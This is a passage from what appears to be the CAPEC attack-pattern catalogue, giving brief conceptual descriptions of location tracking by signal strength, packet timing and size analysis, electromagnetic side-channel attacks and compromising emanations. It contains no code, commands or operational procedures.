In this attack scenario, the attacker passively monitors the signal strength of the target’s cellular RF signal or WiFi RF signal and uses the strength of the signal (with directional antennas and/or from multiple listening points at once) to identify the source location of the signal. Obtaining the signal of the target can be accomplished through multiple techniques such as through Cellular Broadcast Message Request or through the use of IMSI Tracking or WiFi MAC Address Tracking.
CAPEC-621: Analysis of Packet Timing and Sizes
An attacker may intercept and log encrypted transmissions for the purpose of analyzing metadata such as packet timing and sizes. Although the actual data may be encrypted, this metadata may reveal valuable information to an attacker. Note that this attack is applicable to VOIP data as well as application data, especially for interactive apps that require precise timing and low-latency (e.g. thin-clients).
CAPEC-622: Electromagnetic Side-Channel Attack
In this attack scenario, the attacker passively monitors electromagnetic emanations that are produced by the targeted electronic device as an unintentional side-effect of its processing. From these emanations, the attacker derives information about the data that is being processed (e.g. the attacker can recover cryptographic keys by monitoring emanations associated with cryptographic processing). This style of attack requires proximal access to the device, however attacks have been demonstrated at public conferences that work at distances of up to 10-15 feet. There have not been any significant studies to determine the maximum practical distance for such attacks. Since the attack is passive, it is nearly impossible to detect and the targeted device will continue to operate as normal after a successful attack.
CAPEC-623: Compromising Emanations Attack
Compromising Emanations (CE) are defined as unintentional signals which an attacker may intercept and analyze to disclose the information processed by the targeted equipment. Commercial mobile devices and retransmission devices have displays, buttons, microchips, and radios that emit mechanical emissions in the form of sound or vibrations. Capturing these emissions can help an adversary understand what the device is doing.